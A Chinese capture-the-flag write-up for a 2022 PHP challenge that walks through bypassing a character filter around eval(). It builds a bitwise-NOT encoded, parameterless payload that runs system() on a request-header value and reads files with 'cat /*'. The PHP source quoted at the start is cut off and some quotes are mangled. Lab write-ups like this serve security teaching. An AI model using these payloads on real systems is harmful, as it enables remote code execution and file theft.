[鹏城杯 2022]简单的php
- 打开环境 发现php代码 如下: 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){ die(' Hello'); }else if(';' ===preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); }
?>
代码审计 对于 “if(strlen($code) > 80 or preg_match(‘/[A-Za-z0-9]|'|”|`|\ |,|.|-|+|=|/|\|<|>|$|?|^|&||/is’,$code))”
就是用get方式提交的code参数 字符串长度大于80 或者 code参数不能有任何字母和数字 还有” ‘等一些符号
这时我们发现 没有过滤 ~ 这个符号
这个时候就想到了取反对于”(‘;’ ===preg_replace(‘/[^\s()]+?((?R)?)/‘, ‘’, $code))”
‘;’ === preg_replace(‘/[^\s()]+?((?R)?)/‘, ‘’, $code)
[^\s()]+? 表示不匹配所有空白符和() 一次或多次
((?R)?) 表示循环匹配() 一次或0次
那么这题的解法就属于无参数的取反RCE,并且需要二维数组绕过
payload:system(end(getallheaders()));
构造取反二维数组拼接 [system]0用上我们的取反代码 如下:
最终payload:
[%8C%86%8C%8B%9A%92][!%FF]([%9A%91%9B]!%FF);最后在burp抓包的get方式提交 code=[
%8C%86%8C%8B%9A%92][!%FF]([%9A%91%9B]!%FF);
在请求头中 随便加一个 eg:x:cat /*
发现flag总结:
这题就是无回显rce 无字母
可以用取反 异或等方式去写
用取反的时候 如果 ~ 没有被过滤的前提下